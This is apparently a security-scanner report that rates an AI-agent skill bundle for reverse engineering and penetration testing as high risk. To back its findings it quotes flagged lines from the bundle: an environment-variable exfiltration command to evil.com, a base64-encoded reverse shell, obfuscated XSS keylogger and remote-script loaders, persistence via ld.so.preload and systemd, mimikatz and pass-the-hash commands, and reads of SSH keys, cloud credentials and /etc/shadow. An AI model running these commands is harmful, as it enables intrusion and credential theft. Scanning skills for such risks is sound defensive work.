reverse-skill-router
10 / 100 · High risk
Only if you trust the author. Some of what it can do is expected: a coding skill usually runs build and test commands.
By zhaoxuya520/reverse-skill (GitHub) · coding · 44,484 stars · scanned at commit cab634b
Routes reverse engineering, exploitation, penetration testing, malware, mobile, firmware, browser automation, documentation, and security tasks to the appropriate specialist skill. Use when a task spans modules or the correct reverse-skill entrypoint is unclear.
Works with any agent that supports SKILL.md skills.
What this skill can do
Downloads and installs other software
The author does not mention this.
Found in 201 places.
- skills/CONTRIBUTING.md, line 411
| npx 启动型 | 通过 `npx -y @xxx/yyy` 拉起，无需本地项目 | jshookmcp | `npm-mcp` | - skills/api-security/references/jwt-oauth-testing.md, line 113
pip install jwt-tool pyjwt - skills/apk-reverse/references/android-advanced.md, line 346
| Frida | 动态 Hook | `pip install frida-tools` |
Show 17 more
- skills/apk-reverse/references/android-advanced.md, line 347
| Objection | Frida 封装（更易用） | `pip install objection` | - skills/apk-reverse/references/frida-bypass-kit.md, line 43
pip install frida-tools - skills/apk-reverse/scripts/frida-run.ps1, line 73
Write-Host "INFO: $Name not found, attempting auto-bootstrap (pip install frida-tools)..." -ForegroundColor Yellow - skills/apk-reverse/scripts/frida-run.ps1, line 87
throw "Missing required CLI tool: $Name — install with: pip install frida-tools" - skills/apk-reverse/scripts/frida-run.sh, line 54
echo "ERR: frida 不可用。安装: pip3 install frida-tools" - skills/apk-reverse/scripts/rebuild-sign-install.sh, line 73
zipalign|apksigner) echo " 安装: sudo apt install android-sdk-build-tools 或 sdkmanager 'build-tools;35.0.0'" ;; - skills/binary-ninja-reverse/SKILL.md, line 28
npx -y binary-ninja-mcp@1.0.0 --host 127.0.0.1 --port 9009 - skills/browser-automation/references/playwright-cheatsheet.md, line 392
npm install -g playwright - skills/browser-automation/references/playwright-cheatsheet.md, line 393
npx playwright install # 下载浏览器引擎 - skills/browser-automation/references/playwright-cheatsheet.md, line 396
npm install -g agent-browser - skills/browser-automation/scripts/setup.ps1, line 56
& npm install -g agent-browser - skills/browser-automation/scripts/setup.ps1, line 58
Write-Warning "agent-browser global install failed. Trying npx fallback..." - skills/browser-automation/scripts/setup.ps1, line 71
& npx playwright install chromium - skills/browser-automation/scripts/setup.ps1, line 73
Write-Warning "Playwright browser install failed. You may need to run: npx playwright install chromium" - skills/browser-automation/scripts/setup.ps1, line 111
$npxCheck = Get-Command npx -ErrorAction SilentlyContinue - skills/browser-automation/scripts/setup.ps1, line 113
"agent-browser=npx agent-browser" - skills/browser-automation/scripts/setup.ps1, line 118
throw "agent-browser installation failed. Install manually: npm install -g agent-browser"
and 181 more places
Runs commands on your computer
The author does not mention this. Expected for a coding skill.
Found in 201 places.
- skills/SKILL.md, line 150
bash <skill-root>/scripts/bootstrap-reverse.sh 工具名 --start-services - skills/SKILL.md, line 155
bash <package-root>/kali/scripts/bootstrap-reverse.sh 工具名 --start-services - skills/apk-reverse/SKILL.md, line 142
jadx -d jadx_out app.apk
Show 17 more
- skills/apk-reverse/SKILL.md, line 173
apktool d app.apk -o apktool_out - skills/apk-reverse/SKILL.md, line 188
frida-ps -U - skills/apk-reverse/SKILL.md, line 205
adb devices - skills/apk-reverse/SKILL.md, line 278
apktool b apktool_out -o rebuilt.apk - skills/apk-reverse/SKILL.md, line 349
jadx -d jadx_out app.apk - skills/attack-chain/SKILL.md, line 99
subfinder -d target.com -o subdomains.txt - skills/attack-chain/SKILL.md, line 132
cat js_urls.txt | while read url; do - skills/attack-chain/SKILL.md, line 164
whatweb -i alive.txt --log-json=fingerprint.json - skills/attack-chain/SKILL.md, line 192
sqlmap -u "https://target.com/api?id=1" --batch --dbs --random-agent - skills/attack-chain/SKILL.md, line 249
fluxion # 交互式选择目标 AP → 创建伪造热点 → 捕获 WPA 密码 - skills/attack-chain/SKILL.md, line 259
curl -k "https://vpn.target.com/dana-na/../dana/html5acc/guacamole/../../../etc/passwd?/dana/html5acc/guacamole/" - skills/attack-chain/SKILL.md, line 272
aws s3 ls s3://target-bucket --no-sign-request - skills/attack-chain/SKILL.md, line 311
find / -perm -4000 -type f 2>/dev/null - skills/attack-chain/SKILL.md, line 351
aws iam list-attached-user-policies --user-name compromised-user - skills/attack-chain/SKILL.md, line 367
mimikatz# sekurlsa::logonpasswords - skills/attack-chain/SKILL.md, line 383
crackmapexec smb 10.0.0.0/24 -u administrator -H <NTLM_HASH> --exec-method smbexec - skills/attack-chain/SKILL.md, line 399
wmiexec.py domain/admin:password@target_ip "whoami"
and 181 more places
Sends data to these websites: api.target.com, vpn.target.com, 169.254.169.254, api.certspotter.com, cross.{target_proxy_root}, {target}, {proxy}
The author does not mention this.
Found in 823 places.
- skills/apk-reverse/references/apk-security-checklist.md, line 178
curl -H "Authorization: Bearer USER_A_TOKEN" \ - skills/apk-reverse/references/apk-security-checklist.md, line 188
curl -X POST "https://api.target.com/verify" \ - skills/attack-chain/SKILL.md, line 133
curl -s "$url" | grep -oP '(api[_-]?key|secret|token|password)\s*[:=]\s*["\047][^"\047]+'
Show 17 more
- skills/attack-chain/SKILL.md, line 259
curl -k "https://vpn.target.com/dana-na/../dana/html5acc/guacamole/../../../etc/passwd?/dana/html5acc/guacamole/" - skills/attack-chain/SKILL.md, line 262
curl -k "https://vpn.target.com/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession" - skills/attack-chain/SKILL.md, line 275
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ - skills/binary-diff/references/prompt-template.md, line 98
resp = httpx.post(api_url, json={ - skills/browser-automation/references/playwright-cheatsheet.md, line 231
const response = await route.fetch(); - skills/field-journal/2026-05-17_pentest-vue-spa-actuator-leak.md, line 59
- `curl` / `Invoke-WebRequest` (PowerShell): HTTP 请求 - skills/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 24
curl 'https://api.certspotter.com/v1/issuances?domain={target_proxy_root}&include_subdomains=true&expand=dns_names' - skills/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 29
curl -I https://cross.{target_proxy_root}/ - skills/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 35
- 出口 `Origin`/`Referer` 自动改写成目标 URL 的源(Worker `fetch()` 默认行为) - skills/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 42
- **结论**: CF Worker `fetch()` 内置的 private IP block 在最终目标层强制生效,**编码/重定向都没用** - skills/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 50
- 用 `curl -c jar.txt` 抓 cookie → cookie jar 把 cookie 注册到 `.{target_proxy_root}` 域 - skills/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 65
| `Invoke-WebRequest` 探响应头报 "Operation is not valid due to the current state of the object" | Windows PowerShell 5.1 处理 302 + 复杂头部出 bug | 直接用 Bash + curl | 2 分钟 - skills/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 78
curl -s 'https://{target}/.well-known/cloudflare-access-protected-resource/' - skills/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 81
curl -s 'https://api.certspotter.com/v1/issuances?domain={root}&include_subdomains=true&expand=dns_names' - skills/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 84
curl -s 'https://{proxy}/?url=https%3A%2F%2Fhttpbin.org%2Fanything' | jq '.headers, .origin' - skills/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 91
curl -c jar.txt 'https://cross.{target_proxy_root}/?url=https%3A%2F%2F{attacker_host}%2Fset-cookie' - skills/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 95
curl -b jar.txt 'https://cross.{target_proxy_root}/?url=https%3A%2F%2Fhttpbin.org%2Fcookies'
and 803 more places
Changes files outside its own folder
The author does not mention this.
Found in 13 places.
- skills/attack-chain/SKILL.md, line 489
echo "/tmp/.hidden/evil.so" > /etc/ld.so.preload - skills/attack-chain/SKILL.md, line 495
cat > /etc/systemd/system/update.service << 'EOF' - skills/firmware-pentest/references/emba-automated-analysis.md, line 165
cp my_rule.yar ~/tools/emba/external/yara/
Show 10 more
- skills/firmware-pentest/references/emba-automated-analysis.md, line 168
cp my_rule.yaml ~/tools/emba/config/semgrep_rules/ - skills/firmware-pentest/references/emulation-and-fuzz.md, line 32
cp /usr/bin/qemu-mipsel-static squashfs-root/usr/bin/ - skills/firmware-pentest/references/emulation-and-fuzz.md, line 131
echo "wan_ipaddr=192.168.0.100" >> ~/tools/firmadyne/nvram_files/nvram.default - skills/firmware-pentest/references/emulation-and-fuzz.md, line 132
echo "lan_ifname=br0" >> ~/tools/firmadyne/nvram_files/nvram.default - skills/pentest-tools/references/network-attack-defense.md, line 128
| 可写 /etc/passwd | `echo 'root2:$1$...:0:0::/root:/bin/bash' >> /etc/passwd` | - skills/pentest-tools/src-hunter/references/payloader/by-category/web/缓存与cdn安全.md, line 446
echo "${REAL_IP} target.com" | sudo tee -a /etc/hosts - skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md, line 1961
echo "${REAL_IP} target.com" | sudo tee -a /etc/hosts - skills/scripts/bootstrap-reverse.sh, line 200
- Override install root with REVERSE_SKILL_TOOLS_DIR=~/tools. - skills/scripts/refresh-tool-index.sh, line 141
"jeb-pro|apk-reverse|Commercial Android/ARM decompiler (manual licensed install)|jeb,jeb_wincon|jeb --version|$HOME/tools/JEB/jeb;$HOME/JEB/jeb;/opt/jeb/jeb" - skills/scripts/test-client-neutral-bootstrap.sh, line 16
mkdir -p "$HOME_DIR" "$BIN_DIR" "$TOOLS_DIR" "$(dirname "$CLAUDE_CFG")"
Can call paid AI services billed to you
The author does not mention this.
Found in 2 places.
- skills/binary-diff/references/prompt-template.md, line 166
api_url: "https://api.openai.com/v1/chat/completions" - skills/binary-diff/references/prompt-template.md, line 171
api_url: "https://api.anthropic.com/v1/messages"
Reads your saved credentials, such as SSH keys or .env files
The author does not mention this.
Found in 11 places.
- skills/field-journal/precedent-pentest.md, line 441
□ cat ~/.aws/credentials ~/.azure/accessTokens.json ~/.config/gcloud/credentials.json - skills/ops/skill-supply-chain.md, line 38
□ 无神秘外连、无读取 ~/.ssh / 浏览器库 的默认步骤 - skills/pentest-tools/src-hunter/references/payloader/by-category/web/供应链攻击.md, line 258
python3 -c "import os,urllib.request;urllib.request.urlopen(urllib.request.Request('https://evil.com',data=str(dict(os.environ)).encode()))"
Show 8 more
- skills/pentest-tools/src-hunter/references/payloader/raw/tools.json, line 1212
"command": "cat /root/.bash_history\ncat ~/.ssh/authorized_keys\ncat /etc/shadow\nfind / -name \"*.key\" 2>/dev/null", - skills/pentest-tools/src-hunter/references/payloader/raw/tools.json, line 4141
"command": "https://attacker_ip:7443\n# 默认账号: mythic_admin\n# 密码查看: cat .env | grep MYTHIC_ADMIN_PASSWORD", - skills/pentest-tools/src-hunter/references/payloader/tools/权限提升.md, line 88
cat ~/.ssh/authorized_keys - skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md, line 906
with open("/root/.ssh/id_rsa", "r") as f: - skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md, line 137
/root/.ssh/authorized_keys /root/.ssh/id_rsa - skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md, line 246
读到 /home/web/.ssh/id_rsa → SSH 私钥（不要使用） - skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 288
→ 横向（看 /etc/hosts, ~/.aws/credentials, ~/.docker/config.json） - skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 4423
python3 -c "import os,urllib.request;urllib.request.urlopen(urllib.request.Request('https://evil.com',data=str(dict(os.environ)).encode()))"
Contains code that is hidden or hard to read
The author does not mention this.
Found in 15 places.
- skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md, line 157
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh # base64 嵌套 - skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 124
; echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash - skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 426
; echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==" | base64 -d | bash
Show 12 more
- skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 955
<img src=x onerror="eval(atob('YWxlcnQoMSk='))"> - skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 1307
<script>var _0xa=["\x6b\x65\x79\x64\x6f\x77\x6e","\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72"];document[_0xa[1]](_0xa[0],function(_0xb){ne - skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 1311
- `var _0xa=["\x6b\x65\x79\x64\x6f\x77\x6e","\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72"];document[_0xa[1]](_0xa[0],function(_0xb){new Ima - skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 1441
<script>eval(atob("dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9hdHRhY2tlci5jb206MzAwMC9ob29rLmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkK - skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 1445
- `eval(atob("dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9hdHRhY2tlci5jb206MzAwMC9ob29rLmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHMpOw - skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 222
| 命令字过滤 | base64：`echo Y2F0IC9ldGMvcGFzc3dk \| base64 -d \| sh` | - skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 2254
; echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash - skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 2432
; echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==" | base64 -d | bash - skills/pentest-tools/src-hunter/references/playbooks/xss.md, line 135
eval(atob('YWxlcnQoMSk=')) - skills/pentest-tools/src-hunter/references/playbooks/xss.md, line 877
<img src=x onerror="eval(atob('YWxlcnQoMSk='))"> - skills/pentest-tools/src-hunter/references/playbooks/xss.md, line 1079
<script>var _0xa=["\x6b\x65\x79\x64\x6f\x77\x6e","\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72"];document[_0xa[1]](_0xa[0],function(_0xb){ne - skills/pentest-tools/src-hunter/references/playbooks/xss.md, line 1156
<script>eval(atob("dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9hdHRhY2tlci5jb206MzAwMC9ob29rLmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkK
Safer alternatives
Low-risk skills in the same category (coding) that look related. Check that one does what you need.
- 82 Low riskeni-reverse-refalicewe1/alice_skill · 63 stars
- 86 Low riskreverse-engineeringcoco-research/coco · 630 stars
- 80 Low riskreverse-engineering-ios-app-with-fridaplurigrid/asi · 72 stars
Other copies in this repository
zhaoxuya520/reverse-skill has 1 more folder with a skill named reverse-skill-router. This page shows the lowest-scoring copy.
- plugins/reverse-skill/skills/reverse-skill-router 100/100 · Low risk
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'reverse-skill-router' ] || [ -L ~/.agents/skills/'reverse-skill-router' ]; then echo 'A skill folder named reverse-skill-router already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/zhaoxuya520/reverse-skill' "$d" && git -C "$d" checkout --quiet 'cab634bd855fc287f6e420c1f36fd1a6b9245960' -- 'skills' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills' ~/.agents/skills/'reverse-skill-router' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'reverse-skill-router' ~/.claude/skills/'reverse-skill-router' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for zhaoxuya520/reverse-skill shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/zhaoxuya520/reverse-skill/)
Score history
| Date | Version | Score |
|---|---|---|
| 2026-11-08 | cab634b | 10 |
| 2026-11-07 | cab634b | 10 |